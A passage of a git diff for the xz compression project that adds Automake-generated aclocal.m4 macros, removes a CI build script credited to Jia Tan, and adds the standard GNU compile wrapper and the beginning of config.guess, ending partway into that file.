verbose build rules; with the default set to DEFAULT +# ("yes" being less verbose, "no" or empty being verbose). +AC_DEFUN([AM_SILENT_RULES], +[AC_ARG_ENABLE([silent-rules], [dnl +AS_HELP_STRING( + [--enable-silent-rules], + [less verbose build output (undo: "make V=1")]) +AS_HELP_STRING( + [--disable-silent-rules], + [verbose build output (undo: "make V=0")])dnl +]) +case $enable_silent_rules in @%:@ ((( + yes) AM_DEFAULT_VERBOSITY=0;; + no) AM_DEFAULT_VERBOSITY=1;; + *) AM_DEFAULT_VERBOSITY=m4_if([$1], [yes], [0], [1]);; +esac +dnl +dnl A few 'make' implementations (e.g., NonStop OS and NextStep) +dnl do not support nested variable expansions. +dnl See automake bug#9928 and bug#10237. +am_make=${MAKE-make} +AC_CACHE_CHECK([whether $am_make supports nested variables], + [am_cv_make_support_nested_variables], + [if AS_ECHO([['TRUE=$(BAR$(V)) +BAR0=false +BAR1=true +V=1 +am__doit: + @$(TRUE) +.PHONY: am__doit']]) | $am_make -f - >/dev/null 2>&1; then + am_cv_make_support_nested_variables=yes +else + am_cv_make_support_nested_variables=no +fi]) +if test $am_cv_make_support_nested_variables = yes; then + dnl Using '$V' instead of '$(V)' breaks IRIX make. + AM_V='$(V)' + AM_DEFAULT_V='$(AM_DEFAULT_VERBOSITY)' +else + AM_V=$AM_DEFAULT_VERBOSITY + AM_DEFAULT_V=$AM_DEFAULT_VERBOSITY +fi +AC_SUBST([AM_V])dnl +AM_SUBST_NOTMAKE([AM_V])dnl +AC_SUBST([AM_DEFAULT_V])dnl +AM_SUBST_NOTMAKE([AM_DEFAULT_V])dnl +AC_SUBST([AM_DEFAULT_VERBOSITY])dnl +AM_BACKSLASH='\' +AC_SUBST([AM_BACKSLASH])dnl +_AM_SUBST_NOTMAKE([AM_BACKSLASH])dnl +]) + +# Copyright (C) 2001-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_PROG_INSTALL_STRIP +# --------------------- +# One issue with vendor 'install' (even GNU) is that you can't +# specify the program used to strip binaries. This is especially +# annoying in cross-compiling environments, where the build's strip +# is unlikely to handle the host's binaries. +# Fortunately install-sh will honor a STRIPPROG variable, so we +# always use install-sh in "make install-strip", and initialize +# STRIPPROG with the value of the STRIP variable (set by the user). +AC_DEFUN([AM_PROG_INSTALL_STRIP], +[AC_REQUIRE([AM_PROG_INSTALL_SH])dnl +# Installed binaries are usually stripped using 'strip' when the user +# run "make install-strip". However 'strip' might not be the right +# tool to use in cross-compilation environments, therefore Automake +# will honor the 'STRIP' environment variable to overrule this program. +dnl Don't test for $cross_compiling = yes, because it might be 'maybe'. +if test "$cross_compiling" != no; then + AC_CHECK_TOOL([STRIP], [strip], :) +fi +INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s" +AC_SUBST([INSTALL_STRIP_PROGRAM])]) + +# Copyright (C) 2006-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# _AM_SUBST_NOTMAKE(VARIABLE) +# --------------------------- +# Prevent Automake from outputting VARIABLE = @VARIABLE@ in Makefile.in. +# This macro is traced by Automake. +AC_DEFUN([_AM_SUBST_NOTMAKE]) + +# AM_SUBST_NOTMAKE(VARIABLE) +# -------------------------- +# Public sister of _AM_SUBST_NOTMAKE. +AC_DEFUN([AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE($@)]) + +# Check how to create a tarball. -*- Autoconf -*- + +# Copyright (C) 2004-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# _AM_PROG_TAR(FORMAT) +# -------------------- +# Check how to create a tarball in format FORMAT. +# FORMAT should be one of 'v7', 'ustar', or 'pax'. +# +# Substitute a variable $(am__tar) that is a command +# writing to stdout a FORMAT-tarball containing the directory +# $tardir. +# tardir=directory && $(am__tar) > result.tar +# +# Substitute a variable $(am__untar) that extract such +# a tarball read from stdin. +# $(am__untar) < result.tar +# +AC_DEFUN([_AM_PROG_TAR], +[# Always define AMTAR for backward compatibility. Yes, it's still used +# in the wild :-( We should find a proper way to deprecate it ... +AC_SUBST([AMTAR], ['$${TAR-tar}']) + +# We'll loop over all known methods to create a tar archive until one works. +_am_tools='gnutar m4_if([$1], [ustar], [plaintar]) pax cpio none' + +m4_if([$1], [v7], + [am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -'], + + [m4_case([$1], + [ustar], + [# The POSIX 1988 'ustar' format is defined with fixed-size fields. + # There is notably a 21 bits limit for the UID and the GID. In fact, + # the 'pax' utility can hang on bigger UID/GID (see automake bug#8343 + # and bug#13588). + am_max_uid=2097151 # 2^21 - 1 + am_max_gid=$am_max_uid + # The $UID and $GID variables are not portable, so we need to resort + # to the POSIX-mandated id(1) utility. Errors in the 'id' calls + # below are definitely unexpected, so allow the users to see them + # (that is, avoid stderr redirection). + am_uid=`id -u || echo unknown` + am_gid=`id -g || echo unknown` + AC_MSG_CHECKING([whether UID '$am_uid' is supported by ustar format]) + if test $am_uid -le $am_max_uid; then + AC_MSG_RESULT([yes]) + else + AC_MSG_RESULT([no]) + _am_tools=none + fi + AC_MSG_CHECKING([whether GID '$am_gid' is supported by ustar format]) + if test $am_gid -le $am_max_gid; then + AC_MSG_RESULT([yes]) + else + AC_MSG_RESULT([no]) + _am_tools=none + fi], + + [pax], + [], + + [m4_fatal([Unknown tar format])]) + + AC_MSG_CHECKING([how to create a $1 tar archive]) + + # Go ahead even if we have the value already cached. We do so because we + # need to set the values for the 'am__tar' and 'am__untar' variables. + _am_tools=${am_cv_prog_tar_$1-$_am_tools} + + for _am_tool in $_am_tools; do + case $_am_tool in + gnutar) + for _am_tar in tar gnutar gtar; do + AM_RUN_LOG([$_am_tar --version]) && break + done + am__tar="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$$tardir"' + am__tar_="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$tardir"' + am__untar="$_am_tar -xf -" + ;; + plaintar) + # Must skip GNU tar: if it does not support --format= it doesn't create + # ustar tarball either. + (tar --version) >/dev/null 2>&1 && continue + am__tar='tar chf - "$$tardir"' + am__tar_='tar chf - "$tardir"' + am__untar='tar xf -' + ;; + pax) + am__tar='pax -L -x $1 -w "$$tardir"' + am__tar_='pax -L -x $1 -w "$tardir"' + am__untar='pax -r' + ;; + cpio) + am__tar='find "$$tardir" -print | cpio -o -H $1 -L' + am__tar_='find "$tardir" -print | cpio -o -H $1 -L' + am__untar='cpio -i -H $1 -d' + ;; + none) + am__tar=false + am__tar_=false + am__untar=false + ;; + esac + + # If the value was cached, stop now. We just wanted to have am__tar + # and am__untar set. + test -n "${am_cv_prog_tar_$1}" && break + + # tar/untar a dummy directory, and stop if the command works. + rm -rf conftest.dir + mkdir conftest.dir + echo GrepMe > conftest.dir/file + AM_RUN_LOG([tardir=conftest.dir && eval $am__tar_ >conftest.tar]) + rm -rf conftest.dir + if test -s conftest.tar; then + AM_RUN_LOG([$am__untar /dev/null 2>&1 && break + fi + done + rm -rf conftest.dir + + AC_CACHE_VAL([am_cv_prog_tar_$1], [am_cv_prog_tar_$1=$_am_tool]) + AC_MSG_RESULT([$am_cv_prog_tar_$1])]) + +AC_SUBST([am__tar]) +AC_SUBST([am__untar]) +]) # _AM_PROG_TAR + +m4_include([m4/ax_pthread.m4]) +m4_include([m4/build-to-host.m4]) +m4_include([m4/getopt.m4]) +m4_include([m4/gettext.m4]) +m4_include([m4/host-cpu-c-abi.m4]) +m4_include([m4/iconv.m4]) +m4_include([m4/intlmacosx.m4]) +m4_include([m4/lib-ld.m4]) +m4_include([m4/lib-link.m4]) +m4_include([m4/lib-prefix.m4]) +m4_include([m4/libtool.m4]) +m4_include([m4/ltoptions.m4]) +m4_include([m4/ltsugar.m4]) +m4_include([m4/ltversion.m4]) +m4_include([m4/lt~obsolete.m4]) +m4_include([m4/nls.m4]) +m4_include([m4/po.m4]) +m4_include([m4/posix-shell.m4]) +m4_include([m4/progtest.m4]) +m4_include([m4/tuklib_common.m4]) +m4_include([m4/tuklib_cpucores.m4]) +m4_include([m4/tuklib_integer.m4]) +m4_include([m4/tuklib_mbstr.m4]) +m4_include([m4/tuklib_physmem.m4]) +m4_include([m4/tuklib_progname.m4]) +m4_include([m4/visibility.m4]) diff --git a/build-aux/ci_build.sh b/build-aux/ci_build.sh deleted file mode 100755 index 73fcca30..00000000 --- a/build-aux/ci_build.sh +++ /dev/null @@ -1,287 +0,0 @@ -#!/bin/bash -# SPDX-License-Identifier: 0BSD - -############################################################################# -# -# Script meant to be used for Continuous Integration automation for POSIX -# systems. On GitHub, this is used by Ubuntu and MacOS builds. -# -############################################################################# -# -# Author: Jia Tan -# -############################################################################# - -set -e - -USAGE="Usage: $0 - -a [autogen flags] - -b [autotools|cmake] - -c [crc32|crc64|sha256] - -d [encoders|decoders|bcj|delta|threads|shared|nls|small|ifunc|clmul|sandbox] - -f [CFLAGS] - -l [destdir] - -m [compiler] - -n [ARTIFACTS_DIR_NAME] - -p [all|build|test] - -s [srcdir]" - -# Absolute path of script directory -ABS_DIR=$(cd -- "$(dirname -- "$0")" && pwd) - -# Default CLI option values -AUTOGEN_FLAGS="" -BUILD_SYSTEM="autotools" -CHECK_TYPE="crc32,crc64,sha256" -BCJ="y" -DELTA="y" -ENCODERS="y" -DECODERS="y" -THREADS="y" -SHARED="y" -NATIVE_LANG_SUPPORT="y" -SMALL="n" -IFUNC="y" -CLMUL="y" -SANDBOX="y" -SRC_DIR="$ABS_DIR/../" -DEST_DIR="$SRC_DIR/../xz_build" -PHASE="all" -ARTIFACTS_DIR_NAME="output" - - -################### -# Parse arguments # -################### - -while getopts a:b:c:d:l:m:n:s:p:f:h opt; do - # b option can have either value "autotools" OR "cmake" - case ${opt} in - h) - echo "$USAGE" - exit 0 - ;; - a) - AUTOGEN_FLAGS="$OPTARG" - ;; - b) - case "$OPTARG" in - autotools) ;; - cmake) ;; - *) echo "Invalid build system: $OPTARG"; exit 1;; - esac - BUILD_SYSTEM="$OPTARG" - ;; - c) CHECK_TYPE="$OPTARG" - ;; - # d options can be a comma separated list of things to disable at - # configure time - d) - for disable_arg in $(echo "$OPTARG" | sed "s/,/ /g"); do - case "$disable_arg" in - encoders) ENCODERS="n" ;; - decoders) DECODERS="n" ;; - bcj) BCJ="n" ;; - delta) DELTA="n" ;; - threads) THREADS="n" ;; - shared) SHARED="n";; - nls) NATIVE_LANG_SUPPORT="n";; - small) SMALL="y";; - ifunc) IFUNC="n";; - clmul) CLMUL="n";; - sandbox) SANDBOX="n";; - *) echo "Invalid disable value: $disable_arg"; exit 1 ;; - esac - done - ;; - l) DEST_DIR="$OPTARG" - ;; - m) - CC="$OPTARG" - export CC - ;; - n) ARTIFACTS_DIR_NAME="$OPTARG" - ;; - s) SRC_DIR="$OPTARG" - ;; - p) PHASE="$OPTARG" - ;; - f) - CFLAGS="$OPTARG" - export CFLAGS - ;; - esac -done - - -#################### -# Helper Functions # -#################### - -# These two functions essentially implement the ternary "?" operator. -add_extra_option() { - # First argument is option value ("y" or "n") - # Second argument is option to set if "y" - # Third argument is option to set if "n" - if [ "$1" = "y" ] - then - EXTRA_OPTIONS="$EXTRA_OPTIONS $2" - else - EXTRA_OPTIONS="$EXTRA_OPTIONS $3" - fi -} - - -add_to_filter_list() { - # First argument is option value ("y" or "n") - # Second argument is option to set if "y" - if [ "$1" = "y" ] - then - FILTER_LIST="$FILTER_LIST$2" - fi -} - - -############### -# Build Phase # -############### - -if [ "$PHASE" = "all" ] || [ "$PHASE" = "build" ] -then - # Checksum options should be specified differently based on the - # build system. It must be calculated here since we won't know - # the build system used until all args have been parsed. - # Autotools - comma separated - # CMake - semi-colon separated - if [ "$BUILD_SYSTEM" = "autotools" ] - then - SEP="," - else - SEP=";" - fi - - CHECK_TYPE_TEMP="" - for crc in $(echo "$CHECK_TYPE" | sed "s/,/ /g"); do - case "$crc" in - # Remove "crc32" from cmake build, if specified. - crc32) - if [ "$BUILD_SYSTEM" = "cmake" ] - then - continue - fi - ;; - crc64) ;; - sha256) ;; - *) echo "Invalid check type: $crc"; exit 1 ;; - esac - - CHECK_TYPE_TEMP="$CHECK_TYPE_TEMP$SEP$crc" - done - - # Remove the first character from $CHECK_TYPE_TEMP since it will - # always be the delimiter. - CHECK_TYPE="${CHECK_TYPE_TEMP:1}" - - FILTER_LIST="lzma1$SEP"lzma2 - - # Build based on arguments - mkdir -p "$DEST_DIR" - - # Generate configure option values - EXTRA_OPTIONS="" - - case $BUILD_SYSTEM in - autotools) - cd "$SRC_DIR" - - # Run autogen.sh script if not already run - if [ ! -f configure ] - then - ./autogen.sh "$AUTOGEN_FLAGS" - fi - - cd "$DEST_DIR" - - add_to_filter_list "$BCJ" ",x86,powerpc,ia64,arm,armthumb,arm64,sparc,riscv" - add_to_filter_list "$DELTA" ",delta" - - add_extra_option "$ENCODERS" "--enable-encoders=$FILTER_LIST" "--disable-encoders" - add_extra_option "$DECODERS" "--enable-decoders=$FILTER_LIST" "--disable-decoders" - add_extra_option "$THREADS" "" "--disable-threads" - add_extra_option "$SHARED" "" "--disable-shared" - add_extra_option "$NATIVE_LANG_SUPPORT" "" "--disable-nls" - add_extra_option "$SMALL" "--enable-small" "" - add_extra_option "$IFUNC" "" "--disable-ifunc" - add_extra_option "$CLMUL" "" "--disable-clmul-crc" - add_extra_option "$SANDBOX" "" "--enable-sandbox=no" - - # Run configure script - "$SRC_DIR"/configure --enable-werror --enable-checks="$CHECK_TYPE" $EXTRA_OPTIONS --config-cache - - # Build the project - make - ;; - cmake) - cd "$DEST_DIR" - - add_to_filter_list "$BCJ" ";x86;powerpc;ia64;arm;armthumb;arm64;sparc;riscv" - add_to_filter_list "$DELTA" ";delta" - - add_extra_option "$THREADS" "-DENABLE_THREADS=ON" "-DENABLE_THREADS=OFF" - - # Disable MicroLZMA if encoders are not configured. - add_extra_option "$ENCODERS" "-DENCODERS=$FILTER_LIST" "-DENCODERS= -DMICROLZMA_ENCODER=OFF" - - # Disable MicroLZMA and lzip decoders if decoders are not configured. - add_extra_option "$DECODERS" "-DDECODERS=$FILTER_LIST" "-DDECODERS= -DMICROLZMA_DECODER=OFF -DLZIP_DECODER=OFF" - - # CMake disables the shared library by default. - add_extra_option "$SHARED" "-DBUILD_SHARED_LIBS=ON" "" - - add_extra_option "$SMALL" "-DHAVE_SMALL=ON" "" - - if test -n "$CC" ; then - EXTRA_OPTIONS="$EXTRA_OPTIONS -DCMAKE_C_COMPILER=$CC" - fi - - # Remove old cache file to clear previous settings. - rm -f "CMakeCache.txt" - cmake "$SRC_DIR/CMakeLists.txt" -B "$DEST_DIR" $EXTRA_OPTIONS -DADDITIONAL_CHECK_TYPES="$CHECK_TYPE" -G "Unix Makefiles" - cmake --build "$DEST_DIR" - ;; - esac -fi - - -############## -# Test Phase # -############## - -if [ "$PHASE" = "all" ] || [ "$PHASE" = "test" ] -then - case $BUILD_SYSTEM in - autotools) - cd "$DEST_DIR" - # If the tests fail, copy the test logs into the artifacts folder - if make check - then - : - else - mkdir -p "$SRC_DIR/build-aux/artifacts/$ARTIFACTS_DIR_NAME" - cp ./tests/*.log "$SRC_DIR/build-aux/artifacts/$ARTIFACTS_DIR_NAME" - exit 1 - fi - ;; - cmake) - cd "$DEST_DIR" - if make test - then - : - else - mkdir -p "$SRC_DIR/build-aux/artifacts/$ARTIFACTS_DIR_NAME" - cp ./Testing/Temporary/*.log "$SRC_DIR/build-aux/artifacts/$ARTIFACTS_DIR_NAME" - exit 1 - fi - ;; - esac -fi diff --git a/build-aux/compile b/build-aux/compile new file mode 100755 index 00000000..df363c8f --- /dev/null +++ b/build-aux/compile @@ -0,0 +1,348 @@ +#! /bin/sh +# Wrapper for compilers which do not understand '-c -o'. + +scriptversion=2018-03-07.03; # UTC + +# Copyright (C) 1999-2021 Free Software Foundation, Inc. +# Written by Tom Tromey . +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# This file is maintained in Automake, please report +# bugs to or send patches to +# . + +nl=' +' + +# We need space, tab and new line, in precisely that order. Quoting is +# there to prevent tools from complaining about whitespace usage. +IFS=" "" $nl" + +file_conv= + +# func_file_conv build_file lazy +# Convert a $build file to $host form and store it in $file +# Currently only supports Windows hosts. If the determined conversion +# type is listed in (the comma separated) LAZY, no conversion will +# take place. +func_file_conv () +{ + file=$1 + case $file in + / | /[!/]*) # absolute file, and not a UNC file + if test -z "$file_conv"; then + # lazily determine how to convert abs files + case `uname -s` in + MINGW*) + file_conv=mingw + ;; + CYGWIN* | MSYS*) + file_conv=cygwin + ;; + *) + file_conv=wine + ;; + esac + fi + case $file_conv/,$2, in + *,$file_conv,*) + ;; + mingw/*) + file=`cmd //C echo "$file " | sed -e 's/"\(.*\) " *$/\1/'` + ;; + cygwin/* | msys/*) + file=`cygpath -m "$file" || echo "$file"` + ;; + wine/*) + file=`winepath -w "$file" || echo "$file"` + ;; + esac + ;; + esac +} + +# func_cl_dashL linkdir +# Make cl look for libraries in LINKDIR +func_cl_dashL () +{ + func_file_conv "$1" + if test -z "$lib_path"; then + lib_path=$file + else + lib_path="$lib_path;$file" + fi + linker_opts="$linker_opts -LIBPATH:$file" +} + +# func_cl_dashl library +# Do a library search-path lookup for cl +func_cl_dashl () +{ + lib=$1 + found=no + save_IFS=$IFS + IFS=';' + for dir in $lib_path $LIB + do + IFS=$save_IFS + if $shared && test -f "$dir/$lib.dll.lib"; then + found=yes + lib=$dir/$lib.dll.lib + break + fi + if test -f "$dir/$lib.lib"; then + found=yes + lib=$dir/$lib.lib + break + fi + if test -f "$dir/lib$lib.a"; then + found=yes + lib=$dir/lib$lib.a + break + fi + done + IFS=$save_IFS + + if test "$found" != yes; then + lib=$lib.lib + fi +} + +# func_cl_wrapper cl arg... +# Adjust compile command to suit cl +func_cl_wrapper () +{ + # Assume a capable shell + lib_path= + shared=: + linker_opts= + for arg + do + if test -n "$eat"; then + eat= + else + case $1 in + -o) + # configure might choose to run compile as 'compile cc -o foo foo.c'. + eat=1 + case $2 in + *.o | *.[oO][bB][jJ]) + func_file_conv "$2" + set x "$@" -Fo"$file" + shift + ;; + *) + func_file_conv "$2" + set x "$@" -Fe"$file" + shift + ;; + esac + ;; + -I) + eat=1 + func_file_conv "$2" mingw + set x "$@" -I"$file" + shift + ;; + -I*) + func_file_conv "${1#-I}" mingw + set x "$@" -I"$file" + shift + ;; + -l) + eat=1 + func_cl_dashl "$2" + set x "$@" "$lib" + shift + ;; + -l*) + func_cl_dashl "${1#-l}" + set x "$@" "$lib" + shift + ;; + -L) + eat=1 + func_cl_dashL "$2" + ;; + -L*) + func_cl_dashL "${1#-L}" + ;; + -static) + shared=false + ;; + -Wl,*) + arg=${1#-Wl,} + save_ifs="$IFS"; IFS=',' + for flag in $arg; do + IFS="$save_ifs" + linker_opts="$linker_opts $flag" + done + IFS="$save_ifs" + ;; + -Xlinker) + eat=1 + linker_opts="$linker_opts $2" + ;; + -*) + set x "$@" "$1" + shift + ;; + *.cc | *.CC | *.cxx | *.CXX | *.[cC]++) + func_file_conv "$1" + set x "$@" -Tp"$file" + shift + ;; + *.c | *.cpp | *.CPP | *.lib | *.LIB | *.Lib | *.OBJ | *.obj | *.[oO]) + func_file_conv "$1" mingw + set x "$@" "$file" + shift + ;; + *) + set x "$@" "$1" + shift + ;; + esac + fi + shift + done + if test -n "$linker_opts"; then + linker_opts="-link$linker_opts" + fi + exec "$@" $linker_opts + exit 1 +} + +eat= + +case $1 in + '') + echo "$0: No command. Try '$0 --help' for more information." 1>&2 + exit 1; + ;; + -h | --h*) + cat <<\EOF +Usage: compile [--help] [--version] PROGRAM [ARGS] + +Wrapper for compilers which do not understand '-c -o'. +Remove '-o dest.o' from ARGS, run PROGRAM with the remaining +arguments, and rename the output as expected. + +If you are trying to build a whole package this is not the +right script to run: please start by reading the file 'INSTALL'. + +Report bugs to . +EOF + exit $? + ;; + -v | --v*) + echo "compile $scriptversion" + exit $? + ;; + cl | *[/\\]cl | cl.exe | *[/\\]cl.exe | \ + icl | *[/\\]icl | icl.exe | *[/\\]icl.exe ) + func_cl_wrapper "$@" # Doesn't return... + ;; +esac + +ofile= +cfile= + +for arg +do + if test -n "$eat"; then + eat= + else + case $1 in + -o) + # configure might choose to run compile as 'compile cc -o foo foo.c'. + # So we strip '-o arg' only if arg is an object. + eat=1 + case $2 in + *.o | *.obj) + ofile=$2 + ;; + *) + set x "$@" -o "$2" + shift + ;; + esac + ;; + *.c) + cfile=$1 + set x "$@" "$1" + shift + ;; + *) + set x "$@" "$1" + shift + ;; + esac + fi + shift +done + +if test -z "$ofile" || test -z "$cfile"; then + # If no '-o' option was seen then we might have been invoked from a + # pattern rule where we don't need one. That is ok -- this is a + # normal compilation that the losing compiler can handle. If no + # '.c' file was seen then we are probably linking. That is also + # ok. + exec "$@" +fi + +# Name of file we expect compiler to create. +cofile=`echo "$cfile" | sed 's|^.*[\\/]||; s|^[a-zA-Z]:||; s/\.c$/.o/'` + +# Create the lock directory. +# Note: use '[/\\:.-]' here to ensure that we don't use the same name +# that we are using for the .o file. Also, base the name on the expected +# object file name, since that is what matters with a parallel build. +lockdir=`echo "$cofile" | sed -e 's|[/\\:.-]|_|g'`.d +while true; do + if mkdir "$lockdir" >/dev/null 2>&1; then + break + fi + sleep 1 +done +# FIXME: race condition here if user kills between mkdir and trap. +trap "rmdir '$lockdir'; exit 1" 1 2 15 + +# Run the compile. +"$@" +ret=$? + +if test -f "$cofile"; then + test "$cofile" = "$ofile" || mv "$cofile" "$ofile" +elif test -f "${cofile}bj"; then + test "${cofile}bj" = "$ofile" || mv "${cofile}bj" "$ofile" +fi + +rmdir "$lockdir" +exit $ret + +# Local Variables: +# mode: shell-script +# sh-indentation: 2 +# eval: (add-hook 'before-save-hook 'time-stamp) +# time-stamp-start: "scriptversion=" +# time-stamp-format: "%:y-%02m-%02d.%02H" +# time-stamp-time-zone: "UTC0" +# time-stamp-end: "; # UTC" +# End: diff --git a/build-aux/config.guess b/build-aux/config.guess new file mode 100755 index 00000000..7f76b622 --- /dev/null +++ b/build-aux/config.guess @@ -0,0 +1,1754 @@ +#! /bin/sh +# Attempt to guess a canonical system name. +# Copyright 1992-2022 Free Software Foundation, Inc. + +# shellcheck disable=SC2006,SC2268 # see below for rationale + +timestamp='2022-01-09' + +# This file is free software; you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see . +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that +# program. This Exception is an additional permission under section 7 +# of the GNU General Public License, version 3 ("GPLv3"). +# +# Originally written by Per Bothner; maintained since 2000 by Ben Elliston. +# +# You can get the latest version of this script from: +# https://git.savannah.gnu.org/cgit/config.git/plain/config.guess +# +# Please send patches to . + + +# The "shellcheck disable" line above the timestamp inhibits complaints +# about features and limitations of the classic Bourne shell that were +# superseded or lifted in POSIX. However, this script identifies a wide +# variety of pre-POSIX systems that do not have POSIX shells at all, and +# even some reasonably current systems (Solaris 10 as case-in-point) still +# have a pre-POSIX /bin/sh. + + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] + +Output the configuration name of the system \`$me' is run on. + +Options: + -h, --help print this help, then exit + -t, --time-stamp print date of last modification, then exit + -v, --version print version number, then exit + +Report bugs and patches to ." + +version="\ +GNU config.guess ($timestamp) + +Originally written by Per Bothner. +Copyright 1992-2022 Free Software Foundation, Inc. + +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case $1 in + --time-stamp | --time* | -t ) + echo "$timestamp" ; exit ;; + --version | -v ) + echo "$version" ; exit ;; + --help | --h* | -h ) + echo "$usage"; exit ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + echo "$me: invalid option $1$help" >&2 + exit 1 ;; + * ) + break ;; + esac +done + +if test $# != 0; then + echo "$me: too many arguments$help" >&2 + exit 1 +fi + +# Just in case it came from the environment. +GUESS= + +# CC_FOR_BUILD -- compiler used by this script. Note that the use of a +# compiler to aid in system detection is discouraged as it requires +# temporary files to be created and, as you can see below, it is a +# headache to deal with in a portable fashion. + +# Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still +# use `HOST_CC' if defined, but it is deprecated. + +# Portable tmp directory creation inspired by the Autoconf team. + +tmp= +# shellcheck disable=SC2172 +trap 'test -z "$tmp" || rm -fr "$tmp"' 0 1 2 13 15 + +set_cc_for_build() { + # prevent multiple calls if $tmp is already set + test "$tmp" && return 0 + : "${TMPDIR=/tmp}" + # shellcheck disable=SC2039,SC3028 + { tmp=`(umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } || + { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir "$tmp" 2>/dev/null) ; } || + { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir "$tmp" 2>/dev/null) && echo "Warning: creating insecure temp directory" >&2 ; } || + { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } + dummy=$tmp/dummy + case ${CC_FOR_BUILD-},${HOST_CC-},${CC-} in + ,,) echo "int x;" > "$dummy.c" + for driver in cc gcc c89 c99 ; do + if ($driver -c -o "$dummy.o" "$dummy.c") >/dev/null 2>&1 ; then + CC_FOR_BUILD=$driver + break + fi + done + if test x"$CC_FOR_BUILD" = x ; then + CC_FOR_BUILD=no_compiler_found + fi + ;; + ,,*) CC_FOR_BUILD=$CC ;; + ,*,*) CC_FOR_BUILD=$HOST_CC ;; + esac +} + +# This is needed to find uname on a Pyramid OSx when run in the BSD universe. +# (ghazi@noc.rutgers.edu 1994-08-24) +if test -f /.attbin/uname ; then + PATH=$PATH:/.attbin ; export PATH +fi + +UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown +UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown +UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown +UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown + +case $UNAME_SYSTEM in +Linux|GNU|GNU/*) + LIBC=unknown + + set_cc_for_build + cat <<-EOF > "$dummy.c" + #include + #if defined(__UCLIBC__) + LIBC=uclibc + #elif defined(__dietlibc__) + LIBC=dietlibc + #elif defined(__GLIBC__) + LIBC=gnu + #else + #include + /* First heuristic to detect musl libc. */ + #ifdef __DEFINED_va_list + LIBC=musl + #endif + #endif + EOF + cc_set_libc=`$CC_FOR_BUILD -E "$dummy.c" 2>/dev/null | grep '^LIBC' | sed 's, ,,g'` + eval "$cc_set_libc" + + # Second heuristic to detect musl libc. + if [ "$LIBC" = unknown ] && + command -v ldd >/dev/null && + ldd --version 2>&1 | grep -q ^musl; then + LIBC=musl + fi + + # If the system lacks a compiler, then just pick glibc. + # We could probably try harder. + if [ "$LIBC" = unknown ]; then + LIBC=gnu + fi + ;; +esac + +# Note: order is significant - the case branches are not exclusive. + +case $UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION in + *:NetBSD:*:*) + # NetBSD (nbsd) targets should (where applicable) match one or + # more of the tuples: *-*-netbsdelf*, *-*-netbsdaout*, + # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently + # switched to ELF, *-*-netbsd* would select the old + # object file format. This provides both forward + # compatibility and a consistent mechanism for selecting the + # object file format. + # + # Note: NetBSD doesn't particularly care about the vendor + # portion of the name. We always set it to "unknown". + UNAME_MACHINE_ARCH=`(uname -p 2>/dev/null || \ + /sbin/sysctl -n hw.machine_arch 2>/dev/null || \ + /usr/sbin/sysctl -n hw.machine_arch 2>/dev/null || \ + echo unknown)` + case $UNAME_MACHINE_ARCH in + aarch64eb) machine=aarch64_be-unknown ;; + armeb) machine=armeb-unknown ;; + arm*) machine=arm-unknown ;; + sh3el) machine=shl-unknown ;; + sh3eb) machine=sh-unknown ;; + sh5el) machine=sh5le-unknown ;; + earmv*) + arch=`echo "$UNAME_MACHINE_ARCH" | sed -e 's,^e\(armv[0-9]\).*$,\1,'` + endian=`echo "$UNAME_MACHINE_ARCH" | sed -ne 's,^.*\(eb\)$,\1,p'` + machine=${arch}${endian}-unknown + ;; + *) machine=$UNAME_MACHINE_ARCH-unknown ;; + esac + # The Operating System including object format, if it has switched + # to ELF recently (or will in the future) and ABI. + case $UNAME_MACHINE_ARCH in + earm*) + os=netbsdelf + ;; + 